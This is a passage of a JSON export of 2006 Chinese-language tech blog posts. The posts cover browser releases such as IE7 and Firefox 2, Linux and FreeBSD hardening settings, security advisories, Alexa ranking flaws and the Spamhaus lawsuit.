    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到美國的人口在 10/17 時超過三億：<a href=\"http://science.slashdot.org/article.pl?sid=06/10/17/1225228\">U.S. Population Hits 300 Million</a>。\r\n\r\n在 <a href=\"http://news.bbc.co.uk/\" rel=\"tag\">BBC</a> 的報導還附上了 2006 與 1966 的總族比例分佈圖，可以看出外來移民的比例大幅提昇：<a href=\"http://news.bbc.co.uk/2/hi/americas/6057004.stm\">US population reaches 300 million</a>。",
    "title": "美國人口超過三億"
  },
  {
    "id": "815",
    "body": "在 <a href=\"http://gigaom.com/\" rel=\"tag\">Gigaom</a> 看到在電話銅線上跑 Gigabit 的技術已經出來了，叫做 <a href=\"http://en.wikipedia.org/wiki/Dynamic_Spectrum_Management\" rel=\"tag\">DSM</a>：<a href=\"http://gigaom.com/2006/10/16/gigabit-dsl-yes-it-will-happen/\">Gigabit DSL: Yes, it will happen</a>。",
    "title": "在電話銅線上跑出 Gigabit 的速度..."
  },
  {
    "id": "816",
    "body": "很久前聽 kenduest 講過在 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上有某些加強安全性的 kernel patch 可以用，當時年紀小不懂事沒記下來...\r\n\r\n這陣子系上被破整排 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 的機器 (<strong>Update</strong>：現在懷疑是 false alarm)，除了重新安裝確定系統是乾淨的以外，利用當年的記憶搜尋一些關鍵字，終於找出來當初 kenduest 講的東西了：<a href=\"http://www.grsecurity.net/\" rel=\"tag\">grsecurity</a>。\r\n\r\n除了對 Buffer Overflow 稍做抵抗的 Heap/Stack Protection 外，<a href=\"http://www.grsecurity.net/\" rel=\"tag\">grsecurity</a> 讓我想起之前在 <a href=\"http://www.dreamhost.com/\" rel=\"tag\">DreamHost</a> 上看不到別人 process，按 w 看不到別人，以及 Last PID 會故意亂跳的情況。\r\n\r\n在 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上了 <a href=\"http://www.grsecurity.net/\" rel=\"tag\">grsecurity</a> 後我就想要在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上也炮製一番，透過 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 大神的幫忙下把這幾個對應的功能都找到了。其中看不到別人的 process 這點是透過 security.bsd.see_other_uids=0，而 Random PID 則是透過 kern.randompid=99999 (實際上會被縮成 99899)。\r\n\r\n打開以後看一看似乎不錯，也許跑一陣子看看情況 :p",
    "title": "FreeBSD 與 Linux 的一些安全性設定"
  },
  {
    "id": "818",
    "body": "<a href=\"http://www.gloo.ru/blogs/gloom.dhtml_javascript_benchmark._l_en.wiki.aspx\">DHTML JavaScript Benchmark (DOM vs. innerHTML)</a>：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/283950\"><img src=\"http://static.zooomr.com/images/283950_d9810d9208.jpg\" alt=\"\" /></a>\r\n\r\nPS：圖是從 <a href=\"http://ajaxian.com/archives/benchmark-dom-vs-innerhtml\">Benchmark: DOM vs. innerHTML</a> 來的。",
    "title": "innerHTML 與 DOM 的速度差異"
  },
  {
    "id": "819",
    "body": "<a href=\"http://www.microsoft.com/windows/ie/\" rel=\"tag\">Microsoft Internet Explorer 7</a> 正式版可以下載了，在 Windows Update 上還沒出現 (跟傳言的不太一樣...？)，所以要自己抓：<a href=\"http://www.microsoft.com/windows/ie/downloads/\">Internet Explorer 7 downloads</a>。\r\n\r\n需要「正版」的 Windows 才能安裝...\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/284972\"><img src=\"http://static.zooomr.com/images/284972_0c052edf3e.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/284973\"><img src=\"http://static.zooomr.com/images/284973_00122ceb56.jpg\" alt=\"\" /></a>\r\n\r\n另外預設會安裝 Windows Malicious Software Removal Tool：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/284975\"><img src=\"http://static.zooomr.com/images/284975_efbf025cef.jpg\" alt=\"\" /></a>\r\n\r\n接下來就是漫長的等待... (大概太多人在抓了)\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/284976\"><img src=\"http://static.zooomr.com/images/284976_643391bf3a.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/284999\"><img src=\"http://static.zooomr.com/images/284999_f2e8e19823.jpg\" alt=\"\" /></a>\r\n\r\n終於正在安裝了：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285002\"><img src=\"http://static.zooomr.com/images/285002_5d2138030b.jpg\" alt=\"\" /></a>\r\n\r\n裝完要求重開機：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285004\"><img src=\"http://static.zooomr.com/images/285004_785a813642.jpg\" alt=\"\" /></a>\r\n\r\n這是第一次執行的畫面 (三張)，會問一些問題讓你設定，記得把預設的搜尋引擎改成 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 就好了... XD：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285011\"><img src=\"http://static.zooomr.com/images/285011_aead089121.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285014\"><img src=\"http://static.zooomr.com/images/285014_9e0979e545.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285015\"><img src=\"http://static.zooomr.com/images/285015_eb13dab12f.jpg\" alt=\"\" /></a>\r\n\r\n然後應該就會換到選擇 Search Engine 的頁面：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285025\"><img src=\"http://static.zooomr.com/images/285025_0c8a8321a3.jpg\" alt=\"\" /></a>\r\n\r\n選 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 後，過個幾秒 (我等了十幾秒...) 就會跳出視窗確認是否要更改預設的搜尋引擎：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285026\"><img src=\"http://static.zooomr.com/images/285026_10bfa2b718_m.jpg\" alt=\"\" /></a>\r\n\r\n然後關掉 IE7 後重新開啟，又會叫你安裝 IE7... XD\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285030\"><img src=\"http://static.zooomr.com/images/285030_a5d045f64a.jpg\" alt=\"\" /></a>",
    "title": "Microsoft IE 7 正式版"
  },
  {
    "id": "820",
    "body": "IE7 對於 CSS 的處理總算比較好了，K2 Theme 右半部不會再掉下去了...\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285035\"><img src=\"http://static.zooomr.com/images/285035_1a8eaf665c.jpg\" alt=\"\" /></a>\r\n\r\n來看幾個銀行的網站有沒有問題... XD",
    "title": "看起來正常多了..."
  },
  {
    "id": "821",
    "body": "把如何在 IE7 裡訂閱的說明放上去... XD\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285249\"><img src=\"http://static.zooomr.com/images/285249_6e2cc177bf.jpg\" alt=\"\" /></a>",
    "title": "Bloglines 更新說明"
  },
  {
    "id": "822",
    "body": "<a href=\"http://www.roundcube.net/\" rel=\"tag\">RoundCube</a> 是我第一個發現不能在 IE7 上使用的軟體，登入後看不到信件列表及內容。\r\n\r\n<strong>Update</strong>：-dev 的版本有修正掉這個問題。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285252\"><img src=\"http://static.zooomr.com/images/285252_fd93f9297f.jpg\" alt=\"\" /></a>",
    "title": "Round Cube 無法在 IE7 上正常使用"
  },
  {
    "id": "823",
    "body": "Tab Scrolling 是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0 與 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 1.5 的一個蠻大的差異：當你開很多 tab 時，2.0 會保證每個 Tab 的長度最少有 100px，而 1.5 是想辦法塞進同一個頁面。\r\n\r\n我還是喜歡舊版的方式，不過當時隨意翻了一下 about:config 沒注意到就沒管他，剛剛在 <a href=\"http://shakalaca.wordpress.com/\" rel=\"tag\">shakalaka</a> 的 Blog 上看到 <a href=\"http://shakalaca.wordpress.com/2006/10/19/disablemodify-firefox-20-tab-scrolling/\" rel=\"tag\">Disable/modify Firefox 2.0 tab scrolling</a> 這篇，把 <a href=\"http://kb.mozillazine.org/Browser.tabs.tabMinWidth\">browser.tabs.tabMinWidth</a> 設為 0 就會比較接近舊的模式... (還是跟 1.5 不太一樣)\r\n\r\n這是把 tab 塞滿的樣子：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285563\"><img src=\"http://static.zooomr.com/images/285563_24fd37bea1.jpg\" alt=\"\" /></a>\r\n\r\n再多還是會出現 Scroll：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/285564\"><img src=\"http://static.zooomr.com/images/285564_690515289f.jpg\" alt=\"\" /></a>\r\n\r\n所以還是將就著用吧... :p",
    "title": "關掉 Tab Scrolling"
  },
  {
    "id": "824",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到 <a href=\"http://www.jreast.co.jp/\" rel=\"tag\">JR 東日本</a> 利用乘客的踏力產生電力以供應自動售票機：<a href=\"http://www.boingboing.net/2006/10/18/tokyo_ticket_machine.html\">Tokyo ticket machines powered by footsteps</a>。\r\n\r\n依照文章內所述，每個乘客走過去大約能產生 0.1W 的電力供應，就算有很多人同時經過，能推動兩台應該就很多了？看起來噱頭成分比較大... :p (放太陽能電板 + 電池還比較實際，不過就不能上新聞了...)",
    "title": "自給自足的自動售票機？"
  },
  {
    "id": "825",
    "body": "正式版出不到二十四小時內又出包了... <a href=\"http://secunia.com/\" rel=\"tag\">Secunia</a> 在網站上發出了 IE6 與 IE7 的安全通告：<a href=\"http://secunia.com/advisories/22477/\">Internet Explorer 7 \"mhtml:\" Redirection Information Disclosure</a>。\r\n\r\n在 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 官方的 Security Blog (<a href=\"http://blogs.technet.com/msrc/\">The Microsoft Security Response Center</a>) 也提到了這個安全漏洞：<a href=\"http://blogs.technet.com/msrc/archive/2006/10/19/information-on-reports-of-ie-7-vulnerability.aspx\">Information on Reports of IE 7 Vulnerability</a>。\r\n\r\n目前還沒有 patch，所以請自求多福... :p",
    "title": "IE7 安全漏洞"
  },
  {
    "id": "827",
    "body": "第一版：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/288151\"><img src=\"http://static.zooomr.com/images/288151_e3bcce8209.jpg\" alt=\"\" /></a>\r\n\r\n第二版：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/288173\"><img src=\"http://static.zooomr.com/images/288173_738666d0b9.jpg\" alt=\"\" /></a>",
    "title": "蔡依林之「苦勞之最後一年」2.0"
  },
  {
    "id": "828",
    "body": "用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找了一些關鍵字都沒找到 IE7 上免費的 Adblock 軟體 (當然，必須是 Spyware-free，如果有 Open Source 的話更好...)，有人有推薦的嗎 :p\r\n\r\nPS：我發現 IE7 讀 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 比較快，開 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的 Organize 也比較快...",
    "title": "Free Adblock Software on IE7"
  },
  {
    "id": "829",
    "body": "在學弟板上看到一個 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 連結，講大額美國紙幣：<a href=\"http://en.wikipedia.org/wiki/Large_denominations_of_United_States_currency\">Large denominations of United States currency</a> (英文版)、<a href=\"http://zh.wikipedia.org/wiki/%E5%A4%A7%E9%A2%9D%E7%BE%8E%E5%9B%BD%E7%BA%B8%E5%B8%81\">大額美國紙幣</a> (中文版)。\r\n\r\n十萬美元的紙幣耶... :p",
    "title": "大額美國紙幣"
  },
  {
    "id": "830",
    "body": "在 <a href=\"http://ajaxian.com/\" rel=\"tag\">Ajaxian</a> 看到利用 Zimbra Web Client 測試 IE7 跑 JavaScript 的速度：<a href=\"http://ajaxian.com/archives/ie7-twice-as-performant-as-ie6-but-half-as-slow-as-ff-15\">IE7: Twice as performant as IE6, but half as slow as FF 1.5</a>，原文在 <a href=\"http://www.zimbra.com/blog/archives/2006/10/ie_7_a_better_b.html\">IE 7 vs IE 6</a> 這篇。\r\n\r\n雖然標題只說 IE7 與 IE6，不過實際在測試的時候也把 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 1.5 一起丟進去測試了。\r\n\r\n簡單來說，IE7 在 JavaScript 的效率大約是 IE6 的兩倍，而 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的效率也大約是 IE7 的兩倍... 所以作者說「改善很多，但還可以再加強」:p",
    "title": "IE7 的效率"
  },
  {
    "id": "831",
    "body": "從 <a href=\"http://forum2.gamer.com.tw/C.php?bsn=05219&snA=146262\" rel=\"tag\">【分享】南方公園之魔獸世界(繁體字幕) ※ 增加新連結</a> 看到的，兩個檔案：\r\n<ul>\r\n\t<li>原始檔：<a href=\"http://www.mrtwig.net/\" rel=\"tag\">MrTwig</a>，字幕檔是配合 S10E8 avi 版的。</li>\r\n\t<li>字幕檔 (繁體中文)：<a href=\"http://files.gslin.org/South.Park.S10E08.PROPER.DSR.XviD-KYR.rar\">files.gslin.org/South.Park.S10E08.PROPER.DSR.XviD-KYR.rar</a>，或 <a href=\"http://gffsheng.myweb.hinet.net/South.Park.S10E08.PROPER.DSR.XviD-KYR.rar\">gffsheng.myweb.hinet.net/South.Park.S10E08.PROPER.DSR.XviD-KYR.rar</a>。</li>\r\n</ul>",
    "title": "南方公園 WoW 繁體中文版的翻譯..."
  },
  {
    "id": "832",
    "body": "當你找到 <a href=\"http://en.wikipedia.org/wiki/Spam_blog\" rel=\"tag\">Spam Blog</a> 或是抄襲其他網站的文章時，你可以透過下面的方式處理：\r\n<ul>\r\n\t<li>回報到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的 <a href=\"http://www.google.com/contact/spamreport.html\">Report a Spam Result</a>，尤其是透過 <a href=\"https://www.google.com/adsense/\" rel=\"tag\">Google Adsense</a> 賺錢的 Spam Blog。</li>\r\n\t<li>回報到 <a href=\"http://splogspot.com/\" rel=\"tag\">Spam blogs search engine</a>，<a href=\"http://pingoat.com/\" rel=\"tag\">Pingoat</a> 會過濾掉這些 Spam Blog。</li>\r\n</ul>",
    "title": "回報 Spam Blog 的方法"
  },
  {
    "id": "833",
    "body": "前幾天跟學弟 <a href=\"http://stephon.wordpress.com/\" rel=\"tag\">stephon</a> 去吃晚餐，吃完以後本來要去 <a href=\"http://www.ptt.cc/man/Food/DB9A/D871/D586/D275/\" rel=\"tag\">五十嵐</a> (沒有官方網站，只好 link 到 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 相關的連結... XD) 買飲料，想起學弟之前提到他家裡附近那家飲料店不錯，就改變主意去那家買，於是就跑到 <a href=\"http://www.tmps.hc.edu.tw/\" rel=\"tag\">東門國小</a> 正門口外的 <del>蘿莉瞬間援味茶</del> <a href=\"http://www.lordly.com.tw/\" rel=\"tag\">羅德利瞬間原味茶</a> 這家買。(他的官方網站做的有點... XD)\r\n\r\n這家的茶還蠻好喝的，有現泡的茶葉香，所以點的時候請記得不要加糖... :p",
    "title": "羅德利瞬間原味茶"
  },
  {
    "id": "834",
    "body": "<a href=\"http://blog.outian.net/\" rel=\"tag\">OuTian</a> 寫了一個 <a href=\"http://bbsbak.outian.net/\" rel=\"tag\">BBS 看板備份 服務</a> 可以備份 BBS 看板的文章，裡面這樣說：\r\n<blockquote>會寫這個東西，是因為前陣子傳聞某有名大站設備不穩定，資料可能流失\r\n於是導致人心惶惶，許多使用者紛紛尋求其他服務商搬家\r\nBlog、及相簿等網頁服務均有長輩提供了完整的 <a href=\"http://backup.hasname.com/\" rel=\"tag\">備份服務</a>\r\n但 BBS 上的看版就沒有了 ....</blockquote>\r\n其實 BBS 看板有想過，不過發現我寫的另外一個東西已經解決這個問題了，也就是 <a href=\"http://group.nctu.edu.tw/\" rel=\"tag\">Group.NCTU.edu.tw</a>，平常丟著轉信就好了 :p",
    "title": "BBS 看板備份服務..."
  },
  {
    "id": "835",
    "body": "在 <a href=\"http://blog.gslin.org/archives/2006/10/19/818/\">innerHTML 與 DOM 的速度差異</a> 這篇提過了：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/283950\"><img src=\"http://static.zooomr.com/images/283950_d9810d9208.jpg\" alt=\"\" /></a>\r\n\r\n會再提一次是因為在 <a href=\"http://blog.yam.com/syshen/archives/2354749.html\">DOM 物件與 innerHTML</a> 這篇這樣說：\r\n<blockquote>前不久，<a href=\"http://ajaxian.com/\" rel=\"tag\">ajaxian</a> 上談到一篇<a href=\"http://ajaxian.com/archives/benchmark-dom-vs-innerhtml\" rel=\"tag\">文章</a>，其中針對了 innerHTML 屬性以及 DOM object 做了個 performance 的比較，測試後的結果，在 Firefox 1.5 上，直接建立 DOM object 會比使用 innerHTML 好上 3 到 4 倍，在 Internet Explorer 上的話，則有 4 倍的差距。</blockquote>\r\n呃？",
    "title": "innerHTML 比 DOM 快"
  },
  {
    "id": "838",
    "body": "在 <a href=\"http://mozlinks-zh.blogspot.com/2006/10/firefox_25.html\">Firefox 微調密技：其他的微調</a> 裡面提到：\r\n<blockquote><strong>安全性</strong>\r\nFirefox 2 支援 SSL 3，預設值則沒有啟動支援 SSL 2 ，因為 SSL 2 有安全上的弱點，如果在瀏覽網頁時有遇到問題，可依下列方式啟動支援：\r\n<ol>\r\n\t<li>在網址列輸入: about:config</li>\r\n\t<li>將 security.enable_ssl2 的值設定為 \"true\"</li>\r\n</ol></blockquote>\r\n天啊，你乾脆說「有問題請改用 IE6」好了...",
    "title": "Firefox 2.0 的 SSLv2..."
  },
  {
    "id": "839",
    "body": "在 <a href=\"http://blog.washingtonpost.com/securityfix/\" rel=\"tag\">Security Fix</a> 看到的，<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 再度延遲 Windows XP SP3 的發行時間，以免影響到使用者對於 Vista 的購買慾望：<a href=\"http://blog.washingtonpost.com/securityfix/2006/10/microsoft_delays_windowx_xp_se.html\">Microsoft Delays Service Pack 3 Again</a>。\r\n\r\n參考 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 網站上的 <a href=\"http://www.microsoft.com/windows/lifecycle/servicepacks.mspx\" rel=\"tag\">Windows Service Pack Road Map</a>。\r\n\r\n以安全性要脅使用者，幹的好！",
    "title": "Microsoft 將延遲 Windows XP SP3 的發行時間"
  },
  {
    "id": "840",
    "body": "<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0 在 10/24 出版的消息很多人都已經知道了 (像是 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林的部落格</a> 提到的 <a href=\"http://blog.ijliao.info/archives/2006/10/25/2643/\">Firefox 2 出爐 !</a>)，不過更棒的是有人特地帶著 <a href=\"http://en.wikipedia.org/wiki/Red_Panda\" rel=\"tag\">Red Panda</a> 去 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 上班：<a href=\"http://www.mattcutts.com/blog/firefox-2-out/\">Firefox 2 out</a>。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/298316\"><img src=\"http://static.zooomr.com/images/298316_5a39496236.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/298317\"><img src=\"http://static.zooomr.com/images/298317_3484cc9317.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/298318\"><img src=\"http://static.zooomr.com/images/298318_50d83e1276.jpg\" alt=\"\" /></a>",
    "title": "Firefox 2.0"
  },
  {
    "id": "841",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 提到的這篇：<a href=\"http://it.slashdot.org/article.pl?sid=06/10/21/079200\">Trojan Installs Anti-Virus, Removes Other Malware</a> 以及 <a href=\"http://www.eweek.com/\" rel=\"tag\">eWeek</a> 這篇 <a href=\"http://www.eweek.com/article2/0,1895,2034680,00.asp\">Spam Trojan Installs Own Anti-Virus Scanner</a> 太令人噴飯了... XD\r\n\r\n當你中了 SpamThru 這隻木馬，他會幫你裝好防毒軟體 (Kaspersky)，順便幫你破解授權過期的問題，然後叫 Kaspersky 移除其他的木馬，接下來幹他自己的事情... XD",
    "title": "木馬幫你裝好防毒軟體，並移除其他木馬..."
  },
  {
    "id": "842",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這篇 <a href=\"http://slashdot.org/article.pl?sid=06/10/19/142215\">Alexa, Amazon's Most Flawed Idea</a> 所引用的 <a href=\"http://cyber-knowledge.net/blog/2006/10/19/alexa-amazons-most-flawed-idea/\">Alexa: Amazon’s Most Flawed Idea</a> 這篇文章提到 <a href=\"http://www.alexa.com/\" rel=\"tag\">Alexa</a> 易於「操控」(提供假資料)，同時會因為頁面設計過爛 (像 <a href=\"http://www.myspace.com/\" rel=\"tag\">Myspace</a>) 導致連線數量較多而排名較高，另外更重要的是 Alexa Toolbar 是 IE only，所以對於某些站台完全沒有意義。\r\n\r\n多沒意義呢？依照 <a href=\"http://www.alexa.com/\" rel=\"tag\">Alexa</a> 的資料，<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 在目前的排名是 227 名 (<a href=\"http://www.alexa.com/data/details/traffic_details?url=http%3A%2F%2Fslashdot.org\">Related Info for: slashdot.org</a>)，但 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 有 75% 的人是使用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>，如果把這些人都算進去的話...：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/298419\"><img src=\"http://static.zooomr.com/images/298419_baf47e0524.jpg\" alt=\"\" /></a>\r\n\r\n更不用說根本不是以 Windows 為導向的站，<a href=\"http://www.macrumors.com/\" rel=\"tag\">MacRumors</a> 只有 13% 的使用者用 IE...\r\n\r\n所以當有人說他的站在 <a href=\"http://www.alexa.com/\" rel=\"tag\">Alexa</a> 排名多前面的時候，聽聽就好，因為 1) 可以自己寫程式造假 2) 他的站設計的很爛，造成要抓取多次才能完成一個動作 3) 只有 IE 的使用者會被統計到。",
    "title": "Alexa 的不準確性"
  },
  {
    "id": "843",
    "body": "在 <a href=\"http://blog.gslin.org/archives/2006/10/25/842/\">Alexa 的不準確性</a> 提到有許多人對於 <a href=\"http://www.alexa.com/\" rel=\"tag\">Alexa</a> 以 Web Traffic 作為的評分方式質疑後，當然就會有人試著去找替代的方案。\r\n\r\n在 <a href=\"http://slashdot.org/article.pl?sid=06/10/17/1551224\">(Mis)Tracking Web Traffic</a> 所引用的 <a href=\"http://www.businessweek.com/magazine/content/06_43/b4006095.htm\">Web Numbers: What's Real?</a> 這篇就有人去用不同的方法分析網站的排名，結果得出一些相反的結論。\r\n\r\n這就讓很多網站開始緊張啦，因為廣告主會開始質疑「是不是值得投資這麼多錢」... :p",
    "title": "Alexa 的不準確性 (續)"
  },
  {
    "id": "844",
    "body": "請先參考在 <a href=\"http://typopedia.blogspot.com/\" rel=\"tag\">去吧！錯誤特攻隊</a> 上刊登的這篇：<a href=\"http://typopedia.blogspot.com/2006/10/blog-post.html\">時速三百公里的高鐵在三秒鐘內讓車子完全停下來？</a>。\r\n\r\n然後再來看這張，我快笑到不行了... XD (從鳥窩看到的)\r\n\r\n<a href=\"http://flickr.com/photos/gslin/279111031/\"><img src=\"http://static.flickr.com/93/279111031_c5eee7b608.jpg\" alt=\"\" /></a>",
    "title": "三秒內讓 300KM/hour 的高鐵停下"
  },
  {
    "id": "845",
    "body": "真怪，<a href=\"http://en.wikipedia.org/wiki/Wireless_USB\" rel=\"tag\">Wireless USB</a> 不是早就成為標準了嗎 (在 2005 五月，我寫過一篇 <a href=\"http://gslin.org/2005/05/26/1252/\">Wireless USB 1.0</a> 這篇文章)，怎麼過了一年 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 又提到這個消息，看不太懂...：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/10/18/217229\">USB To Go Wireless</a>。\r\n\r\n看起來是因為之前有些爭議？(是 Bluetooth 在攪局嗎？:p)",
    "title": "Wireless USB"
  },
  {
    "id": "846",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://slashdot.org/articles/06/10/18/0110219.shtml\">Flickr Search Hack Powered by Mouse-Made Doodles</a>，仔細看了一下果然是以圖找圖的工具。\r\n\r\n<a href=\"http://labs.systemone.at/retrievr\" rel=\"tag\">retrievr</a> 會透過 <a href=\"http://www.flickr.com/services/api/\" rel=\"tag\">Flickr API</a> 抓圖下來分析，然後提供介面讓你搜尋：一種方法是用他的繪圖介面畫圖再丟進去找，或是直接上傳圖檔 (或是指定網址) 讓他找。依照文章內的說明，這個系統用的方法其實是 1995 年所發表的論文... :p\r\n\r\n剛剛測試了一些圖檔，看起來還蠻有樣子的... 反正先記著，以後有想到再說 :p",
    "title": "以圖找圖"
  },
  {
    "id": "847",
    "body": "為什麼這張圖讓我想起《<a href=\"http://zh.wikipedia.org/wiki/%E4%B8%80%E4%B9%9D%E5%85%AB%E5%9B%9B\">一九八四</a>》裡的劇情呢...\r\n\r\n<strong>Update</strong>：有人問起我到底跟《<a href=\"http://zh.wikipedia.org/wiki/%E4%B8%80%E4%B9%9D%E5%85%AB%E5%9B%9B\">一九八四</a>》相似在哪裡，可以看 <a href=\"http://solidot.org/internet/06/11/01/057229.shtml\">中国没有审查互联网，真的</a> 這篇下面的 comments...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/280385156/\"><img src=\"http://static.flickr.com/89/280385156_80d0e80224.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/zonble/280459924/\"><img src=\"http://static.flickr.com/113/280459924_4c2f6821a4.jpg\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：換成 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的圖。\r\n<strong>Update</strong>：<a href=\"http://zonble.twbbs.org/\" rel=\"tag\">zonble</a> 的圖比較清楚。",
    "title": "一九八四"
  },
  {
    "id": "848",
    "body": "在 <a href=\"http://www.us-cert.gov/\" rel=\"tag\">US-CERT</a> 上看到的：<a href=\"http://www.us-cert.gov/current/index.html#winahbf\">Multiple Vulnerabilities in AOL Nullsoft Winamp Ultravox</a>。最後面的說明有錯誤：\r\n<blockquote>We recommend that users upgrade to Winamp 3.51 to help mitigate the security risks. We will continue to update current activity as more information becomes available.</blockquote>\r\n依照官方網站的說明，應該是 5.31：\r\n<blockquote>iDefense Labs has disclosed two security vulnerabilities to us. The vulnerabilities effect versions 2.666 - 5.3 and are fixed in 5.31. It is recommended that you upgrade immediately. It is fixed in version 5.31 and above.</blockquote>",
    "title": "Winamp 安全漏洞"
  },
  {
    "id": "849",
    "body": "<a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 是一個在英國提供 DNSBL 服務的單位，主要提供兩份名單：SBL (Spamhaus Block List) 與 XBL (Exploits Block List)。SBL 列出了 Spam Source 的機器 (Direct UBE sources, verified spam services and ROKSO spammers)。而 XBL 則是列出被 crack 當作跳板的機器 (Illegal 3rd party exploits, including proxies, worms and trojan exploits)。\r\n\r\n<a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 提供的名單相當穩定 (簡單來說，也就是 False Positive 非常少，也就是誤擋的情況很少)，我一直都有在 Mail Server 上使用。另外一個穩定的 DNSBL 則是 <a href=\"http://www.ordb.org/\" rel=\"tag\">ORDB</a>，不過他們只著重在 Open Relay 上，所以效果就沒那麼明顯了...\r\n\r\n<a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 夠穩定的情況下，自然就會有很多人使用，也很自然也成為 Spammer 的標靶。\r\n\r\n最近，美國的 Spammer David Linhardt 以及他的公司 <a href=\"http://www.e360insight.com/\" rel=\"tag\">e360 Insight LLC</a> 決定控告 <a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 阻擋他們的信件。剛開始的時候 <a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 將案件的層級從州提升到聯邦 (from state to federal court)，但後來 <a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 認為美國法院管不到英國的團體，所以決定不參與接下來的判決。後來美國法院判 <a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 敗訴，要罰千萬美金，而 <a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 也宣佈他們不會理會美國的判決：<a href=\"http://slashdot.org/it/06/09/15/1249203.shtml\">Spamhaus to Ignore $11.7M Judgement</a>。\r\n\r\n但負責 Domain 的大頭目 <a href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 在美國，所以這位 Spammer 就決定把腦筋動到 <a href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 身上：要求美國法院直接下令 <a href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 將 <a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 的 Domain 停掉：<a href=\"http://slashdot.org/yro/06/10/09/1825232.shtml\" rel=\"tag\">Perspectives on Spamhaus's Dilemma</a>。\r\n\r\n這使得全世界嘩然：美國法院憑什麼處理整個 Internet 的事情？換句話說，在 Internet 上不論發生什麼事情，你只要把戰場移到美國，由美國法院強制對 <a 